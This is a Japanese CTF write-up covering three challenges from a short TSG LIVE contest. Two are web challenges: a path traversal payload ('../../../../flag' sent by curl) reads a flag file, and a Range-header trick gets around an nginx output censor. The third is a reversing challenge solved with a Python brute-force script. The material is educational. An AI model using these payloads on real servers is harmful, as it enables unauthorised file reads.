5/18に1時間40分という短さで開催された。BunkyoWesternsからはᎢᏚᏀ-Purpleとꓔꓢꓖ-Violet(いずれも \u0054\u0053\u0047
でないことに注意)の2つのTSGのパチモンチームが参加した。私はꓔꓢꓖ-Violetの方でホンドギツネとヌオーとともにホンドタヌキとして参加し、1位。Webで2問、Revで1問を解いたけれども、いずれもfirst bloodを取れて嬉しい。
[Web 100] omikuji (10 solves)
次のようなおみくじアプリが与えられる。おみくじを引いた後に「結果を保存する」ボタンを押すと /result/6833e207.html
というようなパスへのリンクが表示され、このページから過去のおみくじの結果を確認できる。
問題文によると、フラグは /flag
というファイルに存在しているらしい。ソースコードを確認し、/flag
を読み出せるような脆弱性がないか探す。「結果を保存する」ボタンを押すと /save
に対して daikichi
や kyo
といったおみくじの結果がPOSTされるのだけれども、この処理は次の通り。
同じディレクトリの daikichi
や kyo
といったファイルを読み出してHTMLに保存するのが正常系の動作だけれども、このユーザから与えられたパスのチェックが一切ない。パストラバーサルによって /flag
を読み出せるのではないか。
async function getResultContent(type) { return await readFile(`${import.meta.dirname}/${type}`, 'utf-8') } // … app.post('/save', async c => { const type = await c.req.text() const content = await getResultContent(type) const filename = randomString() await writeFile(`${import.meta.dirname}/public/result/${filename}.html`, html` <!DOCTYPE html> … </html> `) return c.json({ location: `/result/${filename}.html` }) })
次のように ../../../../flag
を指定してやると、無事に「おみくじ」の結果が保存された。
$ curl 'http://(省略)/save' -H 'Content-Type: text/plain' --data-raw '../../../../flag' {"location":"/result/3606582a.html"}
返ってきたパスにアクセスすると、フラグが得られた。
TSGLIVE{1_knew_at_f1rst_g1ance_that_1t_was_so_0rdin4ry_path_traversal}
[Web 150] omikuji2 (7 solves)
omikujiと同じアプリだが、ソースコードの一部が異なっている。diffは次の通り。大きな変更点は nginx/default.conf.template
で、レスポンスにフラグが含まれていると ### CENSORED ###
に置き換えられてしまう。
diff -ru ../../omikuji/omikuji/app/package-lock.json ./app/package-lock.json --- ../../omikuji/omikuji/app/package-lock.json 2024-05-18 22:00:00.000000000 +0900 +++ ./app/package-lock.json 2024-05-18 22:00:00.000000000 +0900 @@ -1,10 +1,10 @@ { - "name": "omikuji", + "name": "omikuji2", "lockfileVersion": 3, "requires": true, "packages": { "": { - "name": "omikuji", + "name": "omikuji2", "dependencies": { "@hono/node-server": "^1.11.1", "hono": "^4.3.7" diff -ru ../../omikuji/omikuji/app/package.json ./app/package.json --- ../../omikuji/omikuji/app/package.json 2024-05-18 22:00:00.000000000 +0900 +++ ./app/package.json 2024-05-18 22:00:00.000000000 +0900 @@ -1,6 +1,6 @@ { "private": true, - "name": "omikuji", + "name": "omikuji2", "type": "module", "dependencies": { "@hono/node-server": "^1.11.1", diff -ru ../../omikuji/omikuji/compose.yaml ./compose.yaml --- ../../omikuji/omikuji/compose.yaml 2024-05-18 22:00:00.000000000 +0900 +++ ./compose.yaml 2024-05-18 22:00:00.000000000 +0900 @@ -11,7 +11,7 @@ init: true image: nginx:1.26.0-alpine ports: - - 3456:80 + - 3457:80 volumes: - ./nginx/default.conf.template:/etc/nginx/templates/default.conf.template:ro environment: diff -ru ../../omikuji/omikuji/nginx/default.conf.template ./nginx/default.conf.template --- ../../omikuji/omikuji/nginx/default.conf.template 2024-05-18 22:00:00.000000000 +0900 +++ ./nginx/default.conf.template 2024-05-18 22:00:00.000000000 +0900 @@ -5,6 +5,8 @@ server_name _; location / { + sub_filter "${FLAG}" "### CENSORED ###"; + sub_filter_once off; proxy_pass http://app:3000; } }
ただ、/save
のパストラバーサルの脆弱性はそのまま残っている。この脆弱性でまずフラグの含まれるファイルを保存させ、そしてレスポンスについては Range
ヘッダを使って、フラグが丸ごと入らないよう切り取ってやればよい。
$ curl http://(省略)/result/1a0d3951.html -r 284- SGLIVE{wh3re_1s_my_f1ag?_1s_b1ue_b1rd_1ns1de?} </pre> <a href="/">トップに戻る</a> </body> </html>
TSGLIVE{wh3re_1s_my_f1ag?_1s_b1ue_b1rd_1ns1de?}
[Rev 150] Wolf (5 solves)
WOLF RPGエディターで作成されたゲームが与えられる。宝箱に触れると、次のように flag?
と聞かれ、フラグの入力を促される。適当な文字列を入力すると Wrong…
と怒られた。
ありがたいことに、マップデータ等々が入っている Data
フォルダがそのままウディタで編集可能な形で残っている。ウディタをダウンロードしてきて、編集を試みる。宝箱のイベントは次のようになっていた。入力した文字列をなんかいい感じに変換した結果が TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY
になればよいらしい。
Pythonでこのエンコード処理を再現する。頭から1文字ずつブルートフォースすればよさそうな見た目をしているので、1文字ずつエンコードを試し、その結果がターゲットとなっている文字列の対応する文字と一致していれば正解とするようなスクリプトを書く。
def encode(s1): s2 = '{}QWERTYUIOPASDFGHJKLZXCVBNM_' s3 = '' v0 = 0 v1 = 0 for s4 in s1: v2 = 0 s5 = s2 for s6 in s5: if s4 == s6: v0 += v2 v2 += 1 if v2 >= 29: break v0 %= 29 s5 = s2 v2 = 0 for s6 in s5: if v2 >= v0: break v2 += 1 s3 += s6 v1 += v1 if v1 >= 51: break return s3 target = 'TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY' flag = '' for i, c in enumerate(target): for d in '{}QWERTYUIOPASDFGHJKLZXCVBNM_': if encode(flag + d)[-1] == c: flag += d print(flag) break
実行するとフラグが得られた。
$ python3 solve.py … TSGLIVE{WE_CAN_EASIRY_REVERSE_NON_ENCRYPTED_WOLVES}
TSGLIVE{WE_CAN_EASIRY_REVERSE_NON_ENCRYPTED_WOLVES}